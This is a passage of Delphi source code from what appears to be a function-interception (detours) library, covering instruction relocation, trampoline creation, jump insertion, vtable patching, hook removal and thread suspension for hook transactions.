(Reg shl 3) or (Rm); end; function CorrectRipDisp(PInst: PInstruction; NewAddr: PByte): Integer; var Offset: Int64; P: PByte; rReg: Byte; POpc: PByte; pMR: PByte; pFrst: PByte; L: ShortInt; begin pFrst := NewAddr; P := PInst^.NextInst; { If AddressMode is 32-bits : ===> EIP + Disp32 ! else If AddressMode is 64-bits: ===> RIP + Disp32 ! } if PInst^.AddrMode = am32 then P := PByte(UInt64(P) and $FFFFFFFF); P := PByte(Int64(P) + Int64(PInst^.Disp.Value)); Offset := Int64(Int64(P) - Int64(NewAddr) - PInst^.InstSize); if Int32(Offset) <> Offset then begin rReg := rEAX; if PInst^.ModRm.Flags and mfUsed <> 0 then begin Assert(PInst^.Disp.Flags and dfRip <> 0); if PInst^.ModRm.Reg = rReg then rReg := rECX; { PUSH UsedReg } PByte(NewAddr)^ := $50 + (rReg and $7); Inc(NewAddr); {$IFDEF CPUX64} PByte(NewAddr)^ := $48; // REX.W! Inc(NewAddr); {$ENDIF CPUX64} { MOV REG,Imm(NativeInt) } PByte(NewAddr)^ := $B8 + (rReg and $7); Inc(NewAddr); PNativeInt(NewAddr)^ := NativeInt(P); Inc(NewAddr, SizeOf(NativeInt)); { Set the original instruction opcodes } POpc := GetMemory(MAX_INST_LENGTH_N); L := GetInstOpCodes(PInst, POpc); Move(POpc^, NewAddr^, L); Inc(NewAddr, L); pMR := NewAddr; if (PInst^.OpKind and kGrp <> 0) or (PInst^.OpTable = tbFPU) then Dec(pMR); PByte(pMR)^ := MakeModRm($00, PInst^.ModRm.Reg, rReg); Inc(pMR); NewAddr := pMR; { POP UsedReg } PByte(NewAddr)^ := $58 + (rReg and $7); Inc(NewAddr); FreeMemory(POpc); Result := (NativeInt(NewAddr) - NativeInt(pFrst)); Exit; end else raise InterceptException.Create(SErrorRipDisp); end; Move(PInst^.Addr^, NewAddr^, PInst^.InstSize); Inc(NewAddr, PInst^.InstSize); PInt32(NativeInt(NewAddr) - SizeOf(Int32))^ := Int32(Offset); Result := PInst^.InstSize; end; function CorrectJmpRel(PInst: PInstruction; NewAddr: PByte): Integer; var JmpType: Byte; begin JmpType := GetJmpType(NewAddr, PInst^.Branch.Target, PByte(NativeInt(NewAddr) + 6)); InsertJmp(NewAddr, PInst^.Branch.Target, JmpType, PByte(NativeInt(NewAddr) + 6)); Result := JmpTypeToSize[JmpType]; end; function CorrectCallRel(PInst: PInstruction; NewAddr: PByte): Integer; var Offset: Int64; Relsz: Byte; P: PByte; begin P := NewAddr; Offset := Int64(Int64(PInst^.Branch.Target) - Int64(P) - 6); Relsz := GetInt64Size(Offset); {$IFDEF CPUX64} { Only 32-bits relative offset is supported on x64! } if Relsz < ops32bits then Relsz := ops32bits; {$ELSE !CPUX64} { Only 16/32-bits relative offset is supported on x32! } if Relsz < ops16bits then Relsz := ops32bits; {$ENDIF CPUX64} case Relsz of ops16bits: begin Offset := Int64(Int64(PInst^.Branch.Target) - Int64(P) - 4); P^ := opPrfOpSize; Inc(P); P^ := $E8; Inc(P); PInt16(P)^ := Int16(Offset); Inc(P, 2); end; ops32bits: begin Offset := Int64(Int64(PInst^.Branch.Target) - Int64(P) - 5); P^ := $E8; Inc(P); PInt32(P)^ := Int32(Offset); Inc(P, 4); end; ops64bits: begin { 64-bits Relative offset is not supported ==> Map to a new opcode ! } { CALL [02] Jmp @NextValidInstruction dq : Call dst address ! @NextValidInstruction: } P^ := $FF; // Group 5 ! Inc(P); { ModRm.Mod = 00 ModRm.Reg = 02 ModRm.Rm = 05 ==> ModRm = $15 ! } P^ := MakeModRm($00, $02, $05); Inc(P); P^ := 2; Inc(P, 4); { Jmp Next Instruction ! } P^ := opJmpRelb; Inc(P); P^ := $08; Inc(P); PUInt64(P)^ := UInt64(PInst^.Branch.Target); Inc(P, SizeOf(UInt64)); end; end; Result := NativeInt(P) - NativeInt(NewAddr); if Result = 0 then begin Move(PInst^.Addr^, P^, PInst^.InstSize); Result := PInst^.InstSize; end; end; function MapInsts(Addr, NewAddr: PByte; Size: Integer): Integer; var P, Q: PByte; PInst: PInstruction; sz, iz, nz: Integer; begin { Map Data from Addr to NewAddr ! } { This function will fix Relative offset & RIP displacement . } Result := 0; sz := 0; P := Addr; Q := NewAddr; PInst := GetMemory(SizeOf(TInstruction)); FillChar(PInst^, SizeOf(TInstruction), #0); PInst^.Archi := CPUX; PInst^.NextInst := P; PInst^.VirtualAddr := nil; while sz < Size do begin PInst^.Addr := PInst^.NextInst; iz := fDecodeInst(PInst); nz := iz; if PInst^.Disp.Flags and (dfUsed or dfRip) = (dfUsed or dfRip) then nz := CorrectRipDisp(PInst, Q) else if (PInst^.Branch.Falgs and bfRel = bfRel) then begin { Instruction use relative offset } if (PInst^.OpType = otJMP) then nz := CorrectJmpRel(PInst, Q) else if (PInst^.OpType = otCALL) then nz := CorrectCallRel(PInst, Q) else nz := CorrectJ(PInst, Q) end else Move(PInst^.Addr^, Q^, nz); Inc(Q, nz); Inc(Result, nz); Inc(sz, iz); end; FreeMemory(PInst); end; {$IFNDEF FPC} {$WARN COMPARISON_TRUE OFF} {$ENDIF FPC} function GetInstArithmeticType(PInst: PInstruction): Integer; function IsInstAdd(PInst: PInstruction): Boolean; begin Result := False; if PInst^.OpTable = tbOneByte then begin if (PInst^.OpCode >= $00) and (PInst^.OpCode < $06) then begin Result := (True); Exit; end; end; if (PInst^.OpKind = kGrp) and (PInst^.ModRm.Reg = $00) then begin if (PInst^.OpCode > $7F) and (PInst^.OpCode < $84) then begin Result := (True); Exit; end; end; end; function IsInstSub(PInst: PInstruction): Boolean; begin Result := False; if PInst^.OpTable = tbOneByte then begin if (PInst^.OpCode > $27) and (PInst^.OpCode < $2E) then begin Result := (True); Exit; end; end; if (PInst^.OpKind = kGrp) and (PInst^.ModRm.Reg = $05) then begin if (PInst^.OpCode > $7F) and (PInst^.OpCode < $84) then begin Result := (True); Exit; end; end; end; function IsInstInc(PInst: PInstruction): Boolean; begin Result := False; if (PInst^.Archi = CPUX32) and (PInst^.OpTable = tbOneByte) then begin if (PInst^.OpCode >= $40) and (PInst^.OpCode <= $47) then begin Result := (True); Exit; end; end; if (PInst^.OpKind = kGrp) and (PInst^.ModRm.Reg = $00) then begin if (PInst^.OpCode = $FE) or (PInst^.OpCode = $FF) then begin Result := (True); Exit; end; end; end; function IsInstDec(PInst: PInstruction): Boolean; begin Result := False; if (PInst^.Archi = CPUX32) and (PInst^.OpTable = tbOneByte) then begin if (PInst^.OpCode >= $48) and (PInst^.OpCode <= $4F) then begin Result := (True); Exit; end; end; if (PInst^.OpKind = kGrp) and (PInst^.ModRm.Reg = $01) then begin if (PInst^.OpCode = $FE) or (PInst^.OpCode = $FF) then begin Result := (True); Exit; end; end; end; begin { Return Instruction Arithmetic (+ or - or ..) } Result := arNone; if IsInstAdd(PInst) or IsInstInc(PInst) then Result := (arAdd) else if IsInstSub(PInst) or IsInstDec(PInst) then Result := (arSub); end; {$IFNDEF FPC} {$WARN COMPARISON_TRUE ON} {$ENDIF FPC} function EvalArith(Arith: Integer; Value: NativeInt; Offset: NativeInt): NativeInt; begin Result := Value; case Arith of arAdd: Inc(Result, Offset); arInc: Inc(Result); arSub: Dec(Result, Offset); arDec: Dec(Result); end; end; {$HINTS OFF} function InterfaceToObj(const AIntf): TObject; const { Delphi insert QueryInterface,_AddRef,_Release methods as the last functions in the code entry. => We must skip them to point to the first function declared in the interface. } Offset = SizeOf(Pointer) * 3; {$IFDEF CPUX64} ObjReg = rECX; {$ELSE !CPUX64} ObjReg = rEAX; {$ENDIF CPUX64} var Pvt, PCode: PByte; Inst: TInstruction; PObj: PByte; imm: Int64; Arith: Integer; Skip: Boolean; sReg: ShortInt; begin if not Assigned(@AIntf) then begin Result := nil; Exit; end; sReg := -1; PObj := PByte(AIntf); FillChar(Inst, SizeOf(TInstruction), #00); Inst.Archi := CPUX; Pvt := PPointer(AIntf)^; // vTable ! PCode := PPointer(NativeInt(Pvt) + Offset)^; // Code Entry ! Inst.NextInst := PCode; { At the top of code entry delphi will generate : int 3 add/sub eax/rcx,offset <=== jmp FirstFunction } while True do begin Inst.imm.Value := 0; Inst.Addr := Inst.NextInst; fDecodeInst(@Inst); { Keep looping until JMP/RET ! } if (Inst.Branch.Falgs and bfUsed <> 0) or (Inst.OpType = otRET) then break; Arith := GetInstArithmeticType(@Inst); Skip := (Arith = arNone); if not Skip then begin {$IFDEF CPUX86} if Inst.ModRm.iMod <> $03 then begin { ====> stdcall ! <==== If the method (declared in interface) calling convention is stdcall, Delphi will generate : add/sub [esp+offset],imm ! } if Inst.Sib.Flags and sfUsed <> 0 then sReg := Inst.Sib.Index else sReg := Inst.ModRm.Rm; Skip := not(sReg = rESP); end else {$ENDIF CPUX86} begin if (Inst.ModRm.Flags and mfUsed <> 0) then Skip := not((Inst.ModRm.iMod = $03) and (Inst.ModRm.Rm = ObjReg)) else if Arith in [arInc, arDec] then { Is Inc/Dec EAX/RCX ? } Skip := (Inst.OpCode and $07 <> ObjReg); end; end; if not Skip then begin imm := Inst.imm.Value; PObj := PByte(EvalArith(Arith, NativeInt(PObj), imm)); end; end; Result := TObject(PObj); end; {$HINTS ON} function GetInterfaceMethodPtrByIndex(const PInterface; MethodIndex: Integer): PByte; var Pvt: PPointer; P: PPointer; PDst: PByte; Inst: TInstruction; i: Integer; begin { Return original method ptr => Return first instruction that was implemented on Interface object ! } FillChar(Inst, SizeOf(TInstruction), #00); Inst.Archi := CPUX; Pvt := PPointer(PInterface)^; // Virtual Table ! P := Pvt; Inc(P, MethodIndex); P := PPointer(P)^; PDst := PByte(P); Inst.NextInst := PByte(P); for i := 0 to 3 do begin Inst.Addr := Inst.NextInst; fDecodeInst(@Inst); if Assigned(Inst.Branch.Target) then begin PDst := Inst.Branch.Target; break; end; end; Result := PDst; end; {$IFDEF SUPPORTS_RTTI} function GetMethodPtrFromObjByName(Obj: TObject; const MethodName: String): Pointer; var LCtx: TRttiContext; LType: TRttiType; LMethods: TArray<TRttiMethod>; LMethod: TRttiMethod; begin Result := nil; if (not Assigned(Obj)) or (MethodName = EmptyStr) then Exit; LCtx := TRttiContext.Create; LType := LCtx.GetType(Obj.ClassType); LMethods := LType.GetMethods; for LMethod in LMethods do begin if SameText(LMethod.Name, MethodName) then begin Result := LMethod.CodeAddress; Exit; end; end; end; function GetInterfaceMethodPtrByName(const PInterface; const MethodName: String): PByte; var Obj: TObject; begin Result := nil; if (not Assigned(@PInterface)) or (MethodName = EmptyStr) then Exit; Obj := InterfaceToObj(PInterface); if Assigned(Obj) then begin Result := GetMethodPtrFromObjByName(Obj, MethodName); end; end; {$ENDIF SUPPORTS_RTTI} function GetRoot(P: PByte): PByte; var Inst: TInstruction; begin Result := P; FillChar(Inst, SizeOf(TInstruction), #00); Inst.Addr := P; Inst.Archi := CPUX; Inst.VirtualAddr := nil; { While the opcode is jmp and the jmp destination address is known get the next jmp . } fDecodeInst(@Inst); if (Inst.OpType = otJMP) and (Assigned(Inst.Branch.Target)) then Result := GetRoot(Inst.Branch.Target); end; function IsValidDescriptor(P: PByte): Boolean; begin Result := CompareMem(P, PByte(@DscrSig[0]), SizeOf(DscrSig)); end; function GetDescriptor(P: PByte): PDescriptor; var Inst: TInstruction; function IsDscrpInst(PInst: PInstruction): Boolean; begin Result := Assigned(PInst.Branch.Target) or IsNop(PInst.Addr, 6); end; begin Result := nil; FillChar(Inst, SizeOf(TInstruction), #00); Inst.Archi := CPUX; Inst.VirtualAddr := nil; { Find last JMP ! } P := GetRoot(P); Inst.Addr := P; fDecodeInst(@Inst); { The first instruction must be NOP ! } if Inst.OpCode = opNop then begin Inst.Addr := Inst.NextInst; fDecodeInst(@Inst); if IsDscrpInst(@Inst) then begin Inc(P); // Skip CodeEntry ! Inc(P, SizeOf(TJmpMem) * (MAX_HOOKS + 1)); // Skip JmpMems ! { Go to the Top ! } Dec(P, SizeOf(TDescriptor)); if IsValidDescriptor(P) then Result := PDescriptor(P); end; end; end; function CreateNewDescriptor(): PDescriptor; begin { Create a new descriptor tables ! } Result := AllocMem(SizeOf(TDescriptor)); FillNop(Result^, SizeOf(TDescriptor), False); FillNop(Result^.JmpMems[0], SizeOf(TJmpMem) * (MAX_HOOKS + 1), True); { A valid descriptor have a valid signature . } CopyMemory(Result, PByte(@DscrSig[0]), DscrSigSize); Result^.nHook := 0; Result^.Flags := 0; Result^.ExMem := nil; end; procedure InsertDescriptor(PAt: PByte; PDscr: PDescriptor); const { JMP from Target to Code Entry } kJmpCE = 1; { JMP from Target to Temporal address than JMP to Code Entry } kJmpTmpJmpCE = 2; { JMP from Target to Temporal address than JMP (Rip Zero) to Code Entry } kJmpTmpJmpRipZCE = 3; { JMP (Rip Zero) from Target to Code Entry } kJmpRipZCE = 4; var fJmpType: Byte; { First JMP } {$IFDEF CPUX64} sJmpType: Byte; { Second JMP (if used !) } Tmp: PByte; {$ENDIF CPUX64} JmpKind: Byte; P, T: PByte; JmpSize: Byte; Inst: TInstruction; Sb: Byte; OrgAccess: DWORD; Tsz: Integer; PExMem: PByte; LPExMem: PByte; begin Sb := 0; P := PAt; PDscr^.OrgPtr := P; fJmpType := GetJmpType(P, @PDscr^.CodeEntry, @PDscr^.DscrAddr); {$IFDEF CPUX64} Tmp := nil; PExMem := TryAllocMemAt(P, SizeOfAlloc, PAGE_EXECUTE_READWRITE); LPExMem := PExMem; sJmpType := JT_NONE; JmpKind := kJmpRipZCE; { Try to find the perfect jump instruction ! } { That's mean that we try to avoid using tJmpRelN on TargetProc . ==> Because it use more than 6 bytes in length . } if JmpTypeToSize[fJmpType] > 6 then begin Tmp := PExMem; Inc(PExMem, TmpSize); if Assigned(Tmp) then begin JmpKind := kJmpRipZCE; fJmpType := GetJmpType(P, Tmp, Tmp + 6); if JmpTypeToSize[fJmpType] < 7 then begin JmpKind := kJmpTmpJmpRipZCE; sJmpType := GetJmpType(Tmp, @PDscr^.CodeEntry, Tmp + 6 + 8); if JmpTypeToSize[sJmpType] < 7 then JmpKind := kJmpTmpJmpCE; end; end; end else begin JmpKind := kJmpCE; end; {$ELSE !CPUX64} PExMem := TryAllocMemAt(nil, SizeOfAlloc, PAGE_EXECUTE_READWRITE); JmpKind := kJmpCE; LPExMem := PExMem; {$ENDIF CPUX64} FillChar(Inst, SizeOf(TInstruction), #00); Inst.Archi := CPUX; Inst.NextInst := P; Inst.VirtualAddr := nil; JmpSize := JmpTypeToSize[fJmpType]; while Sb < JmpSize do begin if Inst.OpType = otRET then raise InterceptException.Create(SErrorSmallFunctionSize); Inst.Addr := Inst.NextInst; Inc(Sb, fDecodeInst(@Inst)); end; if Sb > TrampoSize then raise InterceptException.Create(SErrorBigTrampoSize); { Trampoline momory } T := PExMem; FillNop(T^, TrampoSize, False); PDscr^.Trampo := AllocMem(SizeOf(TTrampoInfo)); PDscr^.Trampo^.PData := AllocMem(Sb + 6); FillNop(PDscr^.Trampo^.PData^, Sb + 6, False); { Save original target routine instruction . } Move(P^, PDscr^.Trampo^.PData^, Sb); PDscr^.Trampo^.Addr := T; // Pointer to the first trampoline instruction. PDscr^.Trampo^.Size := Sb; // Size of stolen instructions . Tsz := MapInsts(P, T, Sb); OrgAccess := SetMemPermission(P, Sb, PAGE_EXECUTE_READWRITE); try FillNop(P^, Sb, False); case JmpKind of kJmpCE: begin { A very good jump ! } { TargetProc : JMP @PDscr^.CodeEntry } InsertJmp(P, @PDscr^.CodeEntry, fJmpType, @PDscr^.DscrAddr); end; {$IFDEF CPUX64} kJmpTmpJmpCE: begin { TargetProc : JMP @Tmp ==> Tmp is allocated nearly from TargetProc ! Tmp: JMP @PDscr^.CodeEntry } InsertJmp(P, Tmp, fJmpType, Tmp + 6); InsertJmp(Tmp, @PDscr^.CodeEntry, sJmpType, Tmp + 6 + 8); end; kJmpTmpJmpRipZCE: begin { TargetProc : JMP @Tmp ==> Tmp is allocated nearly from TargetProc ! Tmp: JMP @PDscr^.CodeEntry ==> JT_RIPZ } InsertJmp(P, Tmp, fJmpType, Tmp + 6); InsertJmp(Tmp, @PDscr^.CodeEntry, JT_RIPZ, nil); end; kJmpRipZCE: begin { Not a good jump ! TargetProc : JMP @PDscr^.CodeEntry ==> JT_RIPZ } InsertJmp(P, @PDscr^.CodeEntry, JT_RIPZ, nil); end; {$ENDIF CPUX64} end; { Insert a JMP instruction after the stolen instructions on the trampoline. ==> This JMP will return to TargetProc to allow executing originals instructions. } {$IFDEF CPUX64} InsertJmp(T + Tsz, P + Sb, JT_RIPZ); {$ELSE !CPUX64} InsertJmp(PByte(NativeInt(T) + Tsz), PByte(NativeInt(P) + Sb), JT_MEM32, PByte(NativeInt(T) + Tsz + 6)); {$ENDIF CPUX64} { Save LPExMem ==> we need it when deleting descriptor } PDscr^.ExMem := LPExMem; SetMemPermission(LPExMem, SizeOfAlloc, PAGE_EXECUTE_READWRITE); SetMemPermission(PDscr, SizeOf(TDescriptor), PAGE_EXECUTE_READWRITE); finally SetMemPermission(P, Sb, OrgAccess); end; end; procedure MadExceptFreeMem(P: Pointer); var Page: Pointer; mbi: TMemoryBasicInformation; Permission: DWORD; begin if InternalFuncs.VirtualQuery(P, mbi, SizeOf(mbi)) <> 0 then begin Page := mbi.BaseAddress; Permission := SetMemPermission(Page, SysInfo.dwPageSize, PAGE_READWRITE); FreeMem(P); SetMemPermission(Page, SysInfo.dwPageSize, Permission); end else FreeMem(P); end; function GetNextHookPtrFromTrampoline(TrampoLine: Pointer): PNextHook; begin if Assigned(TrampoLine) then begin Result := PNextHook(NativeInt(TrampoLine) - SizeOf(TNextHook)); if Result^.Signature = TrampolineSignature then Exit; end; raise DetourException.Create(SErrorInvalidTrampoline); end; function AddHook(PDscr: PDescriptor; InterceptProc: PByte; Param: Pointer; Options: TInterceptOptions): PByte; var n: ShortInt; NxHook: PByte; LTlsRecursionLevelIndex: DWORD; begin { Return a pointer to a function that can call next installed Hooks. } n := PDscr^.nHook; if n + 1 > MAX_HOOKS then raise InterceptException.Create(SErrorMaxHook); { Alloc memory for the NextHook ! } NxHook := AllocMem(TrampoSize); Result := NxHook; FillNop(Result^, TrampoSize, False); PNextHook(Result)^.PDscr := PDscr; PNextHook(Result)^.ID := n + 1; PNextHook(Result)^.threadid := GetCurrentThreadId(); PNextHook(Result)^.Param := Param; PNextHook(Result)^.Signature := TrampolineSignature; PNextHook(Result)^.InterceptOptions := Options; if ioRecursive in Options then begin LTlsRecursionLevelIndex := TlsAlloc(); if LTlsRecursionLevelIndex <> TLS_OUT_OF_INDEXES then PNextHook(Result)^.TlsRecursionLevelIndex := LTlsRecursionLevelIndex else raise DetourException.Create(SErrorTlsOutOfIndexes); end; Inc(Result, SizeOf(TNextHook)); { Redirect code to InterceptProc ! } InsertJmp(@PDscr^.JmpMems[n], InterceptProc, JT_MEMN, @PDscr^.JmpAddrs[n]); { Redirect code to TrampoLine ! } InsertJmp(@PDscr^.JmpMems[n + 1], PDscr^.Trampo^.Addr, JT_MEMN, @PDscr^.JmpAddrs[n + 1]); { Redirect code to next hook ! } InsertJmp(Result, @PDscr^.JmpMems[n + 1], JT_MEMN, PByte(NativeInt(Result) + 6)); Inc(PDscr^.nHook); SetMemPermission(Result, JmpTypeToSize[JT_RIPZ], PAGE_EXECUTE_READWRITE); end; function InstallHook(TargetProc, InterceptProc: PByte; Param: Pointer; Options: TInterceptOptions): PByte; var P: PByte; PDscr: PDescriptor; begin if not Assigned(TargetProc) then raise InterceptException.Create(SErrorInvalidTargetProc); if not Assigned(InterceptProc) then raise InterceptException.Create(SErrorInvalidInterceptProc); PDscr := GetDescriptor(TargetProc); if not Assigned(PDscr) then begin P := GetRoot(TargetProc); PDscr := CreateNewDescriptor(); try InsertDescriptor(P, PDscr); except FreeMem(PDscr); raise; end; end; Result := AddHook(PDscr, InterceptProc, Param, Options); end; procedure RemoveDescriptor(PDscr: PDescriptor); var OrgAccess: DWORD; P: PByte; sz: Integer; vr: Boolean; begin P := PDscr^.OrgPtr; sz := PDscr^.Trampo^.Size; OrgAccess := SetMemPermission(P, sz, PAGE_EXECUTE_READWRITE); try SetMemPermission(PDscr^.ExMem, TrampoSize, PAGE_EXECUTE_READWRITE); { Restore the old stolen instructions ! } Move(PDscr^.Trampo^.PData^, PDscr^.OrgPtr^, PDscr^.Trampo^.Size); FillNop(PDscr^.ExMem^, SizeOfAlloc, False); FreeMem(PDscr^.Trampo^.PData); FreeMem(PDscr^.Trampo); if Assigned(PDscr^.ExMem) then begin vr := InternalFuncs.VirtualFree(PDscr^.ExMem, 0, MEM_RELEASE); if not vr then RaiseLastOSError; end; FillNop(PDscr^, SizeOf(TDescriptor), False); {$IFDEF FIX_MADEXCEPT} MadExceptFreeMem(PDscr); {$ELSE !FIX_MADEXCEPT} FreeMem(PDscr); {$ENDIF FIX_MADEXCEPT} finally SetMemPermission(P, sz, OrgAccess); end; end; function RemoveHook(TrampoLine: PByte): Integer; var PNxtHook: PNextHook; PDscr: PDescriptor; n: Byte; begin if not Assigned(TrampoLine) then raise InterceptException.Create(SErrorInvalidTrampoline); PNxtHook := GetNextHookPtrFromTrampoline(TrampoLine); if not Assigned(PNxtHook) then raise InterceptException.Create(SErrorInvalidTrampoline); PDscr := PNxtHook^.PDscr; if not IsValidDescriptor(PByte(PDscr)) then raise InterceptException.Create(SErrorInvalidDescriptor); n := PNxtHook^.ID; Dec(PDscr^.nHook); PDscr^.JmpAddrs[n - 1] := nil; { Remove JMP from descriptor table } FillNop(PByte(@PDscr^.JmpMems[n - 1])^, SizeOf(TJmpMem), True); { Return the number of hooks that are still alive ! } Result := PDscr^.nHook; if Result = 0 then RemoveDescriptor(PDscr); if ioRecursive in PNxtHook^.InterceptOptions then TlsFree(PNxtHook^.TlsRecursionLevelIndex); {$IFDEF FIX_MADEXCEPT} MadExceptFreeMem(PNxtHook); {$ELSE !FIX_MADEXCEPT} FreeMem(PNxtHook); {$ENDIF FIX_MADEXCEPT} end; { ======================================= InterceptCreate ======================================= } function InterceptCreate(const TargetProc, InterceptProc: Pointer; const Param: Pointer = nil; const Options: TInterceptOptions = DefaultInterceptOptions): Pointer; begin Result := InstallHook(TargetProc, InterceptProc, Param, Options); end; function InterceptCreate(const TargetInterface; MethodIndex: Integer; const InterceptProc: Pointer; const Param: Pointer = nil; const Options: TInterceptOptions = DefaultInterceptOptions): Pointer; var P: PByte; begin Result := nil; if not Assigned(@TargetInterface) then Exit; P := GetInterfaceMethodPtrByIndex(TargetInterface, MethodIndex); if Assigned(P) then begin Result := InterceptCreate(P, InterceptProc, Param, Options); end; end; function InterceptCreate(const Module, MethodName: string; const InterceptProc: Pointer; const Param: Pointer = nil; const Options: TInterceptOptions = DefaultInterceptOptions): Pointer; var pOrgPointer: Pointer; LModule: THandle; begin { RRUZ's idea ==> Looks great ! } Result := nil; LModule := GetModuleHandle(PChar(Module)); if (LModule = 0) and (ioForceLoad in Options) then LModule := LoadLibrary(PChar(Module)); if LModule <> 0 then begin pOrgPointer := GetProcAddress(LModule, PChar(MethodName)); if Assigned(pOrgPointer) then Result := InterceptCreate(pOrgPointer, InterceptProc, Param, Options); end; end; procedure InterceptCreate(const TargetProc, InterceptProc: Pointer; var TrampoLine: Pointer; const Param: Pointer = nil; const Options: TInterceptOptions = DefaultInterceptOptions); begin TrampoLine := InstallHook(TargetProc, InterceptProc, Param, Options); end; {$IFDEF SUPPORTS_RTTI} function InterceptCreate(const TargetInterface; const MethodName: String; const InterceptProc: Pointer; const Param: Pointer = nil; const Options: TInterceptOptions = DefaultInterceptOptions): Pointer; overload; var P: PByte; begin { Interface support } Result := nil; if (not Assigned(@TargetInterface)) or (MethodName = EmptyStr) then Exit; P := GetInterfaceMethodPtrByName(TargetInterface, MethodName); if Assigned(P) then Result := InterceptCreate(P, InterceptProc); end; {$ENDIF SUPPORTS_RTTI} { ======================================= InterceptRemove ======================================= } function InterceptRemove(const TrampoLine: Pointer): Integer; begin if Assigned(TrampoLine) then Result := RemoveHook(TrampoLine) else Result := -1; end; { ======================================= GetHookCount ======================================= } function GetHookCount(const TargetProc: Pointer): Integer; var PDscr: PDescriptor; begin { Return the number of installed hooks. } if Assigned(TargetProc) then begin PDscr := GetDescriptor(TargetProc); if Assigned(PDscr) then begin Result := PDscr^.nHook; Exit; end; end else raise InterceptException.Create(SErrorInvalidTargetProc); Result := 0; end; function GetHookCount(const TargetInterface; MethodIndex: Integer): Integer; overload; var P: PByte; begin P := GetInterfaceMethodPtrByIndex(TargetInterface, MethodIndex); Result := GetHookCount(P); end; {$IFDEF SUPPORTS_RTTI} function GetHookCount(const TargetInterface; const MethodName: String): Integer; overload; var P: PByte; begin { Interface support } P := GetInterfaceMethodPtrByName(TargetInterface, MethodName); Result := GetHookCount(P); end; {$ENDIF SUPPORTS_RTTI} { ======================================= IsHooked ======================================= } function IsHooked(const TargetProc: Pointer): Boolean; begin Result := GetHookCount(TargetProc) > 0; end; function IsHooked(const TargetInterface; MethodIndex: Integer): Boolean; overload; var P: PByte; begin P := GetInterfaceMethodPtrByIndex(TargetInterface, MethodIndex); Result := IsHooked(P); end; {$IFDEF SUPPORTS_RTTI} function IsHooked(const TargetInterface; const MethodName: String): Boolean; overload; var P: PByte; begin { Interface support } P := GetInterfaceMethodPtrByName(TargetInterface, MethodName); Result := IsHooked(P); end; {$ENDIF SUPPORTS_RTTI} { ======================================= Patch ======================================= } function PatchVt(const TargetInterface; MethodIndex: Integer; InterceptProc: Pointer): Pointer; var vt: PPointer; P, DstAddr: PPointer; Q: PByte; OrgAccess: DWORD; PInfo: PTrampoDataVt; begin { NB: PatchVt does not support multi hook !! PatchVt will patch only vtable !! } Result := nil; if not Assigned(@TargetInterface) then Exit; if not Assigned(InterceptProc) then Exit; try vt := PPointer(TargetInterface)^; P := vt; Inc(P, MethodIndex); DstAddr := P^; // address ! OrgAccess := SetMemPermission(P, 32, PAGE_EXECUTE_READWRITE); try P^ := InterceptProc; finally SetMemPermission(P, 32, OrgAccess); end; Result := InternalFuncs.VirtualAlloc(nil, 32, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); SetMemPermission(Result, 32, PAGE_EXECUTE_READWRITE); PInfo := Result; PInfo^.vAddr := P; PInfo^.Addr := DstAddr; Inc(PByte(Result), SizeOf(TTrampoDataVt)); Q := Result; {$IFDEF CPUX64} { Use JMP RipZero ! } PWord(Q)^ := opJmpMem; Inc(Q, 2); PInt32(Q)^ := $00; Inc(Q, 4); PNativeInt(Q)^ := NativeInt(DstAddr); {$ELSE !CPUX64} PWord(Q)^ := opJmpMem; Inc(Q, 2); PUInt32(Q)^ := UInt32(NativeInt(Q) + 4); PUInt32(NativeInt(Q) + 4)^ := UInt32(DstAddr); {$ENDIF CPUX64} finally end; end; function UnPatchVt(const TrampoLine: Pointer): Boolean; var OrgAccess: DWORD; PInfo: PTrampoDataVt; begin if not Assigned(TrampoLine) then begin Result := False; Exit; end; try PInfo := PTrampoDataVt(NativeInt(TrampoLine) - SizeOf(TTrampoDataVt)); OrgAccess := SetMemPermission(PInfo^.vAddr, 32, PAGE_EXECUTE_READWRITE); try PPointer(PInfo^.vAddr)^ := PInfo^.Addr; finally SetMemPermission(PInfo^.vAddr, 32, OrgAccess); end; Result := InternalFuncs.VirtualFree(TrampoLine, 0, MEM_RELEASE); finally end; end; { ======================================= Trampoline misc =================================== } function GetCreatorThreadIdFromTrampoline(var TrampoLine): TThreadId; var PNxtHook: PNextHook; begin PNxtHook := GetNextHookPtrFromTrampoline(PPointer(@TrampoLine)^); Result := PNxtHook^.threadid; end; function GetTrampolineParam(var TrampoLine): Pointer; var PNxtHook: PNextHook; begin PNxtHook := GetNextHookPtrFromTrampoline(PPointer(@TrampoLine)^); Result := PNxtHook^.Param; end; { ======================================= Recursive Section ======================================= } function EnterRecursiveSection(var TrampoLine; MaxRecursionLevel: NativeInt = 0): Boolean; var PNxtHook: PNextHook; RecursionLevel: NativeInt; begin PNxtHook := GetNextHookPtrFromTrampoline(PPointer(@TrampoLine)^); if ioRecursive in PNxtHook^.InterceptOptions then begin RecursionLevel := NativeInt(TlsGetValue(PNxtHook^.TlsRecursionLevelIndex)); Result := RecursionLevel <= MaxRecursionLevel; if Result then begin Inc(RecursionLevel); TlsSetValue(PNxtHook^.TlsRecursionLevelIndex, Pointer(RecursionLevel)); end; end else raise DetourException.Create(SErrorRecursiveSectionUnsupported); end; function ExitRecursiveSection(var TrampoLine): Boolean; var PNxtHook: PNextHook; RecursionLevel: NativeInt; begin PNxtHook := GetNextHookPtrFromTrampoline(PPointer(@TrampoLine)^); if ioRecursive in PNxtHook^.InterceptOptions then begin RecursionLevel := NativeInt(TlsGetValue(PNxtHook^.TlsRecursionLevelIndex)); Result := RecursionLevel >= 0; if Result then begin Dec(RecursionLevel); TlsSetValue(PNxtHook^.TlsRecursionLevelIndex, Pointer(RecursionLevel)); end; end else raise DetourException.Create(SErrorRecursiveSectionUnsupported); end; { ======================================= Transaction ======================================= } function CountThreadCallBack(ID: DWORD; Param: Pointer): BOOL; begin Assert(Assigned(Param)); Inc(PInteger(Param)^); Result := True; end; function SuspendOrResumeThread(threadid: DWORD; Suspend: Boolean): DWORD; var hThread: THandle; begin hThread := OpenThread(THREAD_SUSPEND_RESUME, False, threadid); if hThread <> THandle(0) then begin if Suspend then Result := SuspendThread(hThread) else Result := ResumeThread(hThread); CloseHandle(hThread); end else Result := DWORD(-1); end; function SuspendThreadCallBack(ID: DWORD; Param: Pointer): BOOL; var PStruct: PTransactionStruct; SuspendCount: DWORD; begin Assert(Assigned(Param)); PStruct := PTransactionStruct(Param); if ID <> PStruct^.TID then begin SuspendCount := SuspendOrResumeThread(ID, True); if SuspendCount <> DWORD(-1) then // thread's previously was running . begin { Only add threads that was running before 